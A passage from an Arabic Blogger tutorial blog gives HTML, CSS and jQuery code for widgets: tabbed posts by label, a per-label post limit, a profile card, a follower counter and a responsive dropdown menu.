Showing posts with label Blogger Widgets. Show all posts
Showing posts with label Blogger Widgets. Show all posts
حصريا سكربت عرض المواضيع حسب التسمية الإصدار الثاني
Blogger Blogger Widgets Website development
تركيب الاضافة :
ادخل قالبك.
واختر مكان مناسب وجيد لوضع الاضافة فيه , مثل اسفل الـ class='page'
والصق هذا الكود مع تعديل ما سأذكر :
<script src="https://code.jquery.com/jquery-1.7.2.min.js"></script>
<script src='https://googledrive.com/host/0B7Zz9NWIHEOXeHpGODNVeVktSkk'/>
<script type='text/javascript'>
//<![CDATA[
imgr = new Array();
imgr[0] = "http://i.imgur.com/7WK8lcQ.png";
showRandomImg = true;
aBold = true;
summaryPost = 100;
summaryPost1 = 200;
numposts = 4;
numposts1 = 4;
numposts2 = 4;
numposts6 = 4;
Title1 = "CSS1";
Title2 = "CSS2";
Title3 = "CSS3";
Title4 = "CSS4";
Title5 = "CSS5";
Title6 = "CSS6";
//]]></script>
<div class='cf' id='tabber-wrapper'>
<ul class='tab-view'>
<li><a href='#tab1'><script>document.write(Title1);</script></a></li>
<li><a href='#tab2'><script>document.write(Title2);</script></a></li>
<li><a href='#tab3'><script>document.write(Title3);</script></a></li>
<li><a href='#tab4'><script>document.write(Title4);</script></a></li>
<li><a href='#tab5'><script>document.write(Title5);</script></a></li>
<li><a href='#tab6'><script>document.write(Title6);</script></a></li>
</ul><div class='clear'/>
<div class='tab-wrapper'>
<div class='tabber' id='tab1'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS1?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='tabber' id='tab2'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS2?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='tabber' id='tab3'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS3?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='tabber' id='tab4'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS4?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='tabber' id='tab5'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS5?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='tabber' id='tab6'>
<script>
document.write(" <script src=\"/feeds/posts/default/-/CSS6?max-results="+numposts2+"&orderby=published&alt=json-in-script&callback=showrecentposts1\"><\/script>");
</script></div>
<div class='clear'/>
</div></div><script type='text/javascript'>
//<![CDATA[
var _0x3c49=["hide",".tabber","show","active","addClass","ul.tab-view li:first",".tabber:first","removeClass","ul.tab-view li","href","attr","a","find","fadeIn","click","ready"];jQuery(document)[_0x3c49[15]](function (){$(_0x3c49[1])[_0x3c49[0]]();$(_0x3c49[5])[_0x3c49[4]](_0x3c49[3])[_0x3c49[2]]();$(_0x3c49[6])[_0x3c49[2]]();$(_0x3c49[8])[_0x3c49[14]](function (){$(_0x3c49[8])[_0x3c49[7]](_0x3c49[3]);$(this)[_0x3c49[4]](_0x3c49[3]);$(_0x3c49[1])[_0x3c49[0]]();var _0x88b3x1=$(this)[_0x3c49[12]](_0x3c49[11])[_0x3c49[10]](_0x3c49[9]);$(_0x88b3x1)[_0x3c49[13]]();return false;} );} );
//]]>
</script>
<style>
#tabber-wrapper {
width: 100%;
float: right;
overflow: hidden;
background: #fff;
margin-right: 10px;
max-height: 230px;
overflow-y: hidden;
}
.tabber .column_img:hover {
margin-bottom: 12px;
opacity: .9;
transition: all .6s;
}
ul.tab-view {
float: right;
list-style: none;
width: 100%;
margin: 0;
padding: 5px 5px 6px;
font-family: 'Droid Arabic Naskh';
background: #FFFFFF;
border-bottom: 3px solid #F3F3F3;
}
ul.tab-view li {
float: right;
height: 26px;
line-height: 26px;
overflow: hidden;
position: relative;
margin: 0;
padding: 0;
margin-left: 9px;
}
ul.tab-view li a {
text-decoration: none;
color: #333;
display: block;
outline: none;
font-weight: 400;
padding: 0 15px;
background-color: rgba(109, 109, 109, 0.1);
}
ul.tabs li:hover {
border-radius: 0;
}
ul.tab-view li a:hover,ul.tabs li:hover{
background-color: #ECBA7B;
border-radius: 5px;
color: #fff;
}
html ul.tab-view li.active, html ul.tab-view li.active a, html ul.tab-view li.active a:hover {
color: #fff;
background: #67B587;
border-radius: 2px;
text-shadow: none;
}
.tab-wrapper {
overflow: hidden;
clear: both;
float: right;
width: 100%;
margin-bottom: 10px;
}
.tabber { padding: 5px 0 0 }
.tabber .column {
float: right;
display: inline;
width: 180px;
height: 150px;
margin-right: 5px;
margin-bottom: 35px;
padding: 2px 2px 5px;
}
.tabber .column_img {
background: #fff;
padding: 0px;
width: 180px;
height: 175px;
margin: 0;
transition: all .6s;
}
.tabber h2 {
line-height: 18px;
text-align: center;
background: rgba(0, 0, 0, 0.35);
padding: 10px 0 10px 21px;
width: 179px;
position: relative;
bottom: 80px;
opacity: .9;
font-family: cursive;
font-size: 12px;
margin-left: 0px;
margin-right: 1px;
font-weight: 400;
border-top: 1px solid rgba(0, 0, 0, 0.1);
border-bottom: 1px solid rgba(0, 0, 0, 0.1);
}
.tabber h2 a { color: #FFF }
.tabber h2 a:hover {
color: #FFF;
text-decoration: none;
}
</style>
عدل اللون الاحمر : هذا كود مكتبة الجيكوري , اذا كان بالفعل متواجد بمدونتك فالافضل عدم اضافته.
عدل اللون الاصفر : استبدلهم بأسم القسم او التسميه التي تريد ظهور مواضيعها , هناك 12 كلمة يجب استبدالهم جميعاَ.
اذا احتجت الى مساعدة فباشر بالتعليق.
طريقة تحديد عدد المواضيع في الصفحة بلوجر
Blogger Widgets Explanations Website development
في Blogger يمكننا التحكم في عدد المواضيع التي تظهر بالصفحة الرئيسة للمدونة من خلال الإعدادات، لكن ما شأن عرض صفحة المواضيع حسب التسمية أو الصنف؟ هنا لم يتح لنا إمكانية تحديد عدد المشاركات في صفحة تصنيف معين، مما يخلق لنا إشكالا إذا ما تزايد عدد مواضيع المدونة فيبطئ من تحميلها وتصفحها، ايضا كثرة التمرير من أعلى إلى أسفل سيؤدي بزوارك إلى النفور منها وهذا ما لا تريده عزيزي المدون ! لذا فدرس اليوم إن شاء الله سوف نعرض فيه طريقة تحكم في عدد المواضيع الي تعرض على صفحة تصنيف (تسمية) ما، فتابعوني :).
1- سجل الدخول إلى حسابك ببلوغر.
2- على لوحة التحكم الرئيسة ، أنقر فوق التبويب : تصميم | تحرير HTML.
3- قم بحفظ نسخة إحتياطية من قالب مدونتك من خلال النقر على : تنزيل قالب كامل.
4- أعلى محرر HTML (يمين) ،إختر توسيع قوالب عناصر واجهة المستخدم .
5- ابحث في كود القالب عن :
expr:href='data:label.url'
واستبدله في كل مرة تعثر عليه بـ :
expr:href='data:label.url + "?max-results="'.
7
6- قم بحفظ القالب.
خيارات:
- في مثالنا حددنا عدد المواضيع التي ستظهر في كل صفحة تصنيف (س) بـ 7 مواضيع في كل صفحة لذا يمكنك إختيار العدد الذي يناسبك.
- لمن يضع تصنيف معين على قائمة الروابط لديه ،يمكنه تحديد عدد المواضيع دون استعمال الطريقة التي أشرنا إليها وهذا بإضافة
?max-results=7
إلى الرابط كما في المثال:
http://www.italib.net/search/label/دروس بلوغر
?max-results=7إضافة رائعة جداً للتعريف بصاحب الموقع للبلوجر
Blogger Blogger Widgets
للمعاينة : من هنا
ننتقل إلى طريقة التركيب الجد سهلة ، فقط قم بالتوجه إلى قسم التخطيط في مدونتك ، ثم إضغط على إضافة أداة
بعدها قم بنسخ الكود التالي و ضعه في محتوى الأداة و اضغط على حفظ
الآن ننتقل لطريقة التعديل على الأداة و تغيير الروابط و المحتوى من الكود بالضغط على تحرير .
- للتغيير صورة الغلاف ( الخلفية ) قومو بإستبدال الرابط التالي برابط الصورة التي تريدونها :
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqP53ipZg89eCd31ti8RARBqpDqorzgcoCTxAwZgYsXW-t6C6WzR63GKWr4QFXw5srIe4jZUWwFpN0DqMsXJYjy4OG73SGGeCZ5CqzZ0SVd3rlytkjpcVwghURnnkba0J0JRoqEKUShhgs/s1600-r/Space-Desktop.jpg
- لتغيير الصورة الشخصية قومو بإستبدال الرابط التالي برابط الصورة التي تريدونها :
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuyD8alYnMeeFq3XmJ_HPP0zPRP9G0DPwxXn1NY8n2-MFUyUiG8xok7lVMMuDX6lPp62tFOfmd_knFmoulTrIRQYSKZzNNpoqlujOmmNztZYLWlS4zKIDXRFDU7kl6UuZq51-v4fF6O1dj/s1600-r/92.jpg
- لتغيير المحتوى المتبقي إتبعو الطريقة التالية :
غير الرابط ثم عنوان الرابط كما ترى في الصورة ، نفس الطريقة مع كل المعلومات
* ملاحظة : في أيقونات الشبكات الإجتماعية أسفل الإضافة غير الروابط فقط .
اضافه عداد المتابعين للشبكات الاجتماعيه والتحكم فى عدد المتابعين
Blogger Blogger Widgets Website development
اليوم معنا اضافه خاصه بمدونات بلوجر
وهى اضافه عداد متابعين الشبكات الاجتماعيه للمدونه
مع امكانيه التحكم فى عدد المتابعين ليظهر
للزائر بالعدد الذى تختاره
توجه الى صفحه التخطيط بمدونتك
اختر اضافه اداه HTML/JAVA
قم بنسخ الكود بالاسفل والصقه بالاداه واضغط حفظ :
استبدل روابط الشبكات الاجتماعيه بروابط الخاصه بك .
استبدل كلمه (عدد المتابعين) لكل موقع بالعدد الذى تريد ان يظهر .
أفضل قائمة منسدلة لمدونات بلوجر
Blogger Blogger Widgets
أولا : معاينة القائمة أنقر هنا
طريقة تركيب القائمة المنسدلة على مدونات بلوجر
الدخول إلى لوحة تحكم بلوجر https://www.blogger.com القالب ->> ثم انقر على تحرير Html
الآن يجب التأكد من وجود إصدار من إصدارات ajax اجاكس يمكنك البحث داخل القالب لديك عن كلمة ajax إذا كان لديك كود شبيه للكود التالي لا حاجة لإضافة الكود التالي مرة أخرى إذا لم يكن لديك هذا الكود قم بإضافته فوق الرمز </head>
<script async='async' src='http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js' type='text/javascript'/>
الآن يجب يجب التحقق ما إذا كان لديك خط awesome إذا لم يكن لديك أيضاً أضف الكود التالي فوق الرمز </head> مجدداً
<link href='//netdna.bootstrapcdn.com/font-awesome/3.1.1/css/font-awesome.min.css' rel='stylesheet'/>
ثم كود جافا سكربت يجب إضافته فوق الرمز </head> أيضاً
<script type='text/javascript'>//<![CDATA[ $(window).load(function(){ $.fn.orion = function(options){ var settings = { speed : 300, // dropdown speed (ms) animation : "fading", // dropdown or panel animation indicator : true // dropdown indicator } $.extend( settings, options ); $(".orion-menu").prepend("<li class='showhide'><span class='title'>القائمة</span><span class='icon'><em></em><em></em><em></em><em></em></span></li>"); var firstClick = 0; if(settings.indicator == true){ $(".orion-menu").find("li").each(function(){ if($(this).children("ul").length > 0){ $(this).append("<span class='indicator'></span>"); } }); } detectScreen(); $(window).resize(function() { detectScreen(); }); function detectScreen(){ $(".orion-menu").find("li, a").unbind(); $(".orion-menu").find("ul").hide(0); if(window.innerWidth <= 768){ showCollapse(); bindClick(); if(firstClick == 0){ $(".orion-menu > li:not(.showhide)").hide(0); } } else{ hideCollapse(); bindHover(); } } function bindHover(){ $(".orion-menu li").bind("mouseover", function(){ $(this).children("ul").stop(true, true).fadeIn(settings.speed).addClass(settings.animation); }).bind("mouseleave", function(){ $(this).children("ul").stop(true, true).fadeOut(settings.speed).removeClass(settings.animation); }); } function bindClick(){ $(".orion-menu li:not(.showhide)").each(function(){ if($(this).children("ul").length > 0){ $(this).children("a").bind("click", function(){ $(this).siblings("ul").slideToggle(settings.speed).addClass(settings.animation); firstClick = 1; }); } }); } function showCollapse(){ $(".orion-menu > li.showhide").show(0); $(".orion-menu > li.showhide").bind("click", function(){ if($(".orion-menu > li").is(":hidden")){ $(".orion-menu > li").slideDown(300); firstClick = 1; } else{ $(".orion-menu > li:not(.showhide)").slideUp(300); $(".orion-menu > li.showhide").show(0); firstClick = 0; } }); } function hideCollapse(){ $(".orion-menu > li").show(0); $(".orion-menu > li.showhide").hide(0); } } $(document).ready(function(){ $(".panel a").click(function(e){ e.preventDefault(); var style = $(this).attr("class"); $(".orion-menu").removeAttr("class").addClass("orion-menu").addClass(style); }); }); jQuery(document).ready(function(){ $().orion({ speed: 500 }); }); });//]]> </script>
ثم إضافة css فوق الرمز ]]></b:skin>
.orion-menu{ width: 100%; padding: 0; position: relative; float: right; background: #252525; list-style: none; font-family: 'Roboto Condensed', sans-serif; } .orion-menu li { display: inline-block; font-size: 15px; margin: 0; padding: 0; float: right; line-height: 20px; position: relative; } .orion-menu li a { padding: 24px 22px 24px; color: #bababa; text-decoration: none; display: inline-block; -o-transition: color .3s linear, background .3s linear; -webkit-transition: color .3s linear, background .3s linear; -moz-transition: color .3s linear, background .3s linear; transition: color .3s linear, background .3s linear; } .orion-menu li:hover > a{ color: #fff; } .orion-menu li.active > a{ background: #555555; } .orion-menu > li > a { text-transform: uppercase; } /* DROPDOWN */ .orion-menu ul, .orion-menu ul li ul { list-style: none; margin: 0; padding: 0; display: none; position: absolute; z-index: 999; width: 150px; background: #454545; } .orion-menu ul{ top: 68px; right: 0; } .orion-menu ul li ul{ top: 0; right: 150px; } .orion-menu ul li{ clear:both; width:100%; font-size:14px; } .orion-menu ul li a { width:100%; padding:12px 22px; display:inline-block; float:right; clear:both; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu ul li:hover > a{ background: #555555; } /* DROPDOWN ARROWS*/ .orion-menu .indicator{ color: #bababa; position: absolute; right: 8px; top: 24px; font-family: 'FontAwesome'; font-size: 12px; } .orion-menu .indicator:before{ content: "\f0d7"; } .orion-menu ul li .indicator{ left: 20px; top: 13px; } .orion-menu ul li .indicator:before{ content: "\f0da"; } /* SOCIAL ICONS*/ .orion-menu li.social{ float: left; margin-left: 20px; } .orion-menu li.social a{ display: inline-block; padding: 24px 6px 24px; color: #bababa; position: relative; width: 15px; text-align: center; } .orion-menu li.social a:hover{ color: #fff; } .orion-menu li.social a .tooltip{ width: 70px; padding: 5px; background: #555555; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; position: absolute; font-size: 9px; top: -20px; left: -27px; border-radius: 2px; text-align: center; -o-transition: opacity .3s linear; -webkit-transition: opacity .3s linear; -moz-transition: opacity .3s linear; transition: opacity .3s linear; } .orion-menu li.social a:hover .tooltip{ -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } .orion-menu li.social a .tooltip:before, .orion-menu li.social a .tooltip:after{ content: ''; position: absolute; bottom: -8px; left: 50%; margin-left: -7px; width: 0; height: 0; border-left: 8px solid transparent; border-right: 8px solid transparent; border-top: 8px solid #555555; } /* COLLAPSIBLE CONFIGURATION */ .orion-menu > li.showhide{ display: none; width: 100%; height: 50px; cursor: pointer; color: #dedede; background: #454545; } .orion-menu > li.showhide span.title{ margin: 16px 0 0 18px; float: right; } .orion-menu> li.showhide span.icon{ margin: 17px 20px; float: left; } .orion-menu > li.showhide .icon em{ margin-bottom: 3px; display: block; width: 20px; height: 2px; background: #ccc; } /* blue */ .blue, .blue li ul, .blue ul li ul, .blue > li.showhide{ background: #008C9E; } .blue li a, .orion-menu li.social a{ color: #dedede; } .blue li.active > a, .blue ul li:hover > a, .blue li.social a .tooltip{ background: #009fb4; } .blue li.search form input.search:focus{ background-color: #009fb4; } .blue li.social a .tooltip:before, .blue li.social a .tooltip:after{ border-top-color: #009fb4; } @media only screen and (max-width: 768px) { .orion-menu{ margin: 0; display: block; } .orion-menu li{ display: block; width: 100%; } .orion-menu > li > a{ padding: 16px 70px 16px 18px; text-align: left; border-top: solid 1px rgba(255, 255, 255, 0.05); box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu a{ width: 100%; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu ul, .orion-menu ul li ul{ width: 100%; left: 0; padding: 0 20px; position: static; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu .indicator{ right: 20px; top: 18px; } .orion-menu ul li .indicator{ display: block; } .orion-menu ul li .indicator:before{ content: "\f0d7"; } .orion-menu li.search{ border-bottom: none; } .orion-menu li.search form{ margin: 20px 18px 0 18px; } .orion-menu li.search form input.search, .orion-menu li.search form input.search:focus{ width: 100%; color: #fff; background-color: #555555; background-position: 99% 8px; cursor: auto; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu li.social a{ display: inline; padding: 8px 15px 8px 15px; border: none; } .orion-menu li.social a:hover{ color: #fff; } .orion-menu li.social a:hover .tooltip{ -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)"; opacity: 0; } .orion-menu > li.showhide{ display: block; } }
الآن الإضافة الأخيرة يجب ان تضعها بالقالب في المكان حيث تريد ظهور القائمة على سبيل المثال فوق الرمز:
<div class='outerpic-wrapper'>
<ul class="orion-menu"> <li> <a href='/'> الرئيسية </a> </li> <li> <a href='http://www.madad2.com/search/label/بلوجر' target='_blank'> بلوجر </a> </li> <li> <a href='#'> برامج </a> <ul> <li> <a href='#'> برامج الكمبيوتر </a> </li> <li> <a href='#'> برامج الهاتف </a> </li> <li> <a href='#'> اندرويد </a> </li> <li> <a href='#'> العاب </a> </li> </ul> </li> <li> <a href='#'> إسلاميات </a> <ul> <li> <a href='#'> القران الكريم </a> </li> <li> <a href='#'> اسلاميات </a> </li> </ul> </li> <li> <a href='#'> أدوات تحرير الصور </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_27.html' target='_blank'> محرر الصور </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_23.html' target='_blank'> 2محرر الصور </a> </li> <li> <a href='http://www.photoshop-online.madad2.com/' target='_blank'> فوتوشوب أون لاين </a> </li> </ul> </li> <li> <a href='#'> أدوات </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_3482.html' target='_blank'> تحويل كود أدسنس </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_10.html' target='_blank'> أعرف IP جهازك </a> </li> <li> <a href='http://www.madad2.com/p/cellspacing0-stylewidth-99-function.html' target='_blank'> عداد الأحرف </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_26.html' target='_blank'> صانع اكواد الالوان </a> </li> <li> <a href='http://www.madad2.com/p/html-javascribt.html' target='_blank'> أداة تشفير/ فك تشفير HTML JavaScript </a> </li> <li> <a href='http://www.madad2.com/2014/07/stylish-fonts-for-facebook-2015.html' target='_blank'> زخرف اسمك </a> </li> </ul> </li> <li> <a href='#'> روابط مفيدة </a> <ul> <li> <a href='http://flash-girls.blogspot.com/' target='_blank'> ألعاب فلاش أون لاين </a> </li> <li> <a href='http://mdadalgled.blogspot.com/' target='_blank'> أجمل الخلفيات HD </a> </li> <li> <a href='http://androidarbi.blogspot.com/' target='_blank'> تطبيقات الاندرويد </a> </li> <li> <a href='http://www.templates.madad2.com/' target='_blank'> قوالب بلوجر </a> </li> </ul> </li> <li> <a href='#'> المزيد.. </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_17.html' target='_blank'> أتصل بنا </a> </li> <li> <a href='http://www.madad2.com/p/bptoc-border-0px-solid-000000.html' target='_blank'> خريطة المدونة </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_3585.html' target='_blank'> إنضم إلينا </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_3.html' target='_blank'> قسم المساعدة </a> </li> </ul> </li> <li class="social"> <a href="http://www.facebook.com/mdadice"><i class="icon-facebook"></i><span class="tooltip">Facebook</span></a> <a href="http://twitter.com/mohammed1811990"><i class="icon-twitter"></i><span class="tooltip">Twitter</span></a> <a href="http://www.pinterest.com/mohammedsyria/"><i class="icon-pinterest"></i><span class="tooltip">Pinterest</span></a> <a href="https://plus.google.com/+مدادالجليد"><i class="icon-google-plus"></i><span class="tooltip">Google Plus</span></a> </li> </ul>
غير الروابط بما تناسبك ثم حفظ القالب ثم معاينة.
هذا كل شيء عن طريقة تركيب قائمة منسدلة إحترافية
طريقة سهلة
هناك طريقة سهلة أخرى لتركيب القائمة المنسدلة عن طريق الذهاب إلى لوحة التحكم -->> التخطيط -->> ثم إضافة أداة ثم إختيار أداة جافا سكربت HTML/JavaScript ثم لصق الكود التالي داخل الأداة:
<style type='text/css'> .orion-menu{ width: 100%; padding: 0; position: relative; float: right; background: #252525; list-style: none; font-family: 'Roboto Condensed', sans-serif; } .orion-menu li { display: inline-block; font-size: 15px; margin: 0; padding: 0; float: right; line-height: 20px; position: relative; } .orion-menu li a { padding: 24px 22px 24px; color: #bababa; text-decoration: none; display: inline-block; -o-transition: color .3s linear, background .3s linear; -webkit-transition: color .3s linear, background .3s linear; -moz-transition: color .3s linear, background .3s linear; transition: color .3s linear, background .3s linear; } .orion-menu li:hover > a{ color: #fff; } .orion-menu li.active > a{ background: #555555; } .orion-menu > li > a { text-transform: uppercase; } /* DROPDOWN */ .orion-menu ul, .orion-menu ul li ul { list-style: none; margin: 0; padding: 0; display: none; position: absolute; z-index: 999; width: 150px; background: #454545; } .orion-menu ul{ top: 68px; right: 0; } .orion-menu ul li ul{ top: 0; right: 150px; } .orion-menu ul li{ clear:both; width:100%; font-size:14px; } .orion-menu ul li a { width:100%; padding:12px 22px; display:inline-block; float:right; clear:both; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu ul li:hover > a{ background: #555555; } /* DROPDOWN ARROWS*/ .orion-menu .indicator{ color: #bababa; position: absolute; right: 8px; top: 24px; font-family: 'FontAwesome'; font-size: 12px; } .orion-menu .indicator:before{ content: "\f0d7"; } .orion-menu ul li .indicator{ left: 20px; top: 13px; } .orion-menu ul li .indicator:before{ content: "\f0da"; } /* SOCIAL ICONS*/ .orion-menu li.social{ float: left; margin-left: 20px; } .orion-menu li.social a{ display: inline-block; padding: 24px 6px 24px; color: #bababa; position: relative; width: 15px; text-align: center; } .orion-menu li.social a:hover{ color: #fff; } .orion-menu li.social a .tooltip{ width: 70px; padding: 5px; background: #555555; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; position: absolute; font-size: 9px; top: -20px; left: -27px; border-radius: 2px; text-align: center; -o-transition: opacity .3s linear; -webkit-transition: opacity .3s linear; -moz-transition: opacity .3s linear; transition: opacity .3s linear; } .orion-menu li.social a:hover .tooltip{ -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } .orion-menu li.social a .tooltip:before, .orion-menu li.social a .tooltip:after{ content: ''; position: absolute; bottom: -8px; left: 50%; margin-left: -7px; width: 0; height: 0; border-left: 8px solid transparent; border-right: 8px solid transparent; border-top: 8px solid #555555; } /* COLLAPSIBLE CONFIGURATION */ .orion-menu > li.showhide{ display: none; width: 100%; height: 50px; cursor: pointer; color: #dedede; background: #454545; } .orion-menu > li.showhide span.title{ margin: 16px 0 0 18px; float: right; } .orion-menu> li.showhide span.icon{ margin: 17px 20px; float: left; } .orion-menu > li.showhide .icon em{ margin-bottom: 3px; display: block; width: 20px; height: 2px; background: #ccc; } /* blue */ .blue, .blue li ul, .blue ul li ul, .blue > li.showhide{ background: #008C9E; } .blue li a, .orion-menu li.social a{ color: #dedede; } .blue li.active > a, .blue ul li:hover > a, .blue li.social a .tooltip{ background: #009fb4; } .blue li.search form input.search:focus{ background-color: #009fb4; } .blue li.social a .tooltip:before, .blue li.social a .tooltip:after{ border-top-color: #009fb4; } @media only screen and (max-width: 768px) { .orion-menu{ margin: 0; display: block; } .orion-menu li{ display: block; width: 100%; } .orion-menu > li > a{ padding: 16px 70px 16px 18px; text-align: left; border-top: solid 1px rgba(255, 255, 255, 0.05); box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu a{ width: 100%; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu ul, .orion-menu ul li ul{ width: 100%; left: 0; padding: 0 20px; position: static; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu .indicator{ right: 20px; top: 18px; } .orion-menu ul li .indicator{ display: block; } .orion-menu ul li .indicator:before{ content: "\f0d7"; } .orion-menu li.search{ border-bottom: none; } .orion-menu li.search form{ margin: 20px 18px 0 18px; } .orion-menu li.search form input.search, .orion-menu li.search form input.search:focus{ width: 100%; color: #fff; background-color: #555555; background-position: 99% 8px; cursor: auto; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; } .orion-menu li.social a{ display: inline; padding: 8px 15px 8px 15px; border: none; } .orion-menu li.social a:hover{ color: #fff; } .orion-menu li.social a:hover .tooltip{ -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)"; opacity: 0; } .orion-menu > li.showhide{ display: block; } } </style> <script type='text/javascript'>//<![CDATA[ $(window).load(function(){ $.fn.orion = function(options){ var settings = { speed : 300, // dropdown speed (ms) animation : "fading", // dropdown or panel animation indicator : true // dropdown indicator } $.extend( settings, options ); $(".orion-menu").prepend("<li class='showhide'><span class='title'>القائمة</span><span class='icon'><em></em><em></em><em></em><em></em></span></li>"); var firstClick = 0; if(settings.indicator == true){ $(".orion-menu").find("li").each(function(){ if($(this).children("ul").length > 0){ $(this).append("<span class='indicator'></span>"); } }); } detectScreen(); $(window).resize(function() { detectScreen(); }); function detectScreen(){ $(".orion-menu").find("li, a").unbind(); $(".orion-menu").find("ul").hide(0); if(window.innerWidth <= 768){ showCollapse(); bindClick(); if(firstClick == 0){ $(".orion-menu > li:not(.showhide)").hide(0); } } else{ hideCollapse(); bindHover(); } } function bindHover(){ $(".orion-menu li").bind("mouseover", function(){ $(this).children("ul").stop(true, true).fadeIn(settings.speed).addClass(settings.animation); }).bind("mouseleave", function(){ $(this).children("ul").stop(true, true).fadeOut(settings.speed).removeClass(settings.animation); }); } function bindClick(){ $(".orion-menu li:not(.showhide)").each(function(){ if($(this).children("ul").length > 0){ $(this).children("a").bind("click", function(){ $(this).siblings("ul").slideToggle(settings.speed).addClass(settings.animation); firstClick = 1; }); } }); } function showCollapse(){ $(".orion-menu > li.showhide").show(0); $(".orion-menu > li.showhide").bind("click", function(){ if($(".orion-menu > li").is(":hidden")){ $(".orion-menu > li").slideDown(300); firstClick = 1; } else{ $(".orion-menu > li:not(.showhide)").slideUp(300); $(".orion-menu > li.showhide").show(0); firstClick = 0; } }); } function hideCollapse(){ $(".orion-menu > li").show(0); $(".orion-menu > li.showhide").hide(0); } } $(document).ready(function(){ $(".panel a").click(function(e){ e.preventDefault(); var style = $(this).attr("class"); $(".orion-menu").removeAttr("class").addClass("orion-menu").addClass(style); }); }); jQuery(document).ready(function(){ $().orion({ speed: 500 }); }); });//]]> </script> </head> <body> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js' type='text/javascript'> </script> <link href='//netdna.bootstrapcdn.com/font-awesome/3.1.1/css/font-awesome.min.css' rel='stylesheet'/> <ul class="orion-menu"> <li> <a href='/'> الرئيسية </a> </li> <li> <a href='#'> صور </a> <ul> <li> <a href='http://www.madad2.com/search/label/%D8%B5%D9%88%D8%B1'> صور </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%B1%D9%85%D8%B2%D9%8A%D8%A7%D8%AA'> رمزيات </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%AE%D9%84%D9%81%D9%8A%D8%A7%D8%AA'> خلفيات </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%B5%D9%88%D8%B1%20%D9%85%D8%B3%D8%A7%D8%A1%20%D9%88%D8%B5%D8%A8%D8%A7%D8%AD%20%D8%A7%D9%84%D8%AE%D9%8A%D8%B1'> صور صباح ومساء الخير </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%AE%D9%84%D9%81%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9'> خلفية الأسبوع </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%B5%D9%88%D8%B1%20%D9%85%D8%AF%D9%87%D8%B4%D8%A9'> صور مدهشة </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%B5%D9%88%D8%B1%20%D9%81%D9%88%D8%AA%D9%88%D8%BA%D8%B1%D8%A7%D9%81%D9%8A%D8%A9'> صور فوتوغرافية </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%B5%D9%88%D8%B1%20%D9%85%D8%B6%D8%AD%D9%83%D8%A9'> صور مضحكة </a> </li> </ul> </li> <li> <a href='http://www.madad2.com/search/label/بلوجر' target='_blank'> بلوجر </a> </li> <li> <a href='#'> برامج </a> <ul> <li> <a href='http://www.madad2.com/search/label/%D8%A8%D8%B1%D8%A7%D9%85%D8%AC%20%D8%A7%D9%84%D9%83%D9%85%D8%A8%D9%8A%D9%88%D8%AA%D8%B1'> برامج الكمبيوتر </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%A8%D8%B1%D8%A7%D9%85%D8%AC%20%D8%A7%D9%84%D9%87%D8%A7%D8%AA%D9%81'> برامج الهاتف </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF'> اندرويد </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%A7%D9%84%D8%B9%D8%A7%D8%A8'> العاب </a> </li> </ul> </li> <li> <a href='#'> إسلاميات </a> <ul> <li> <a 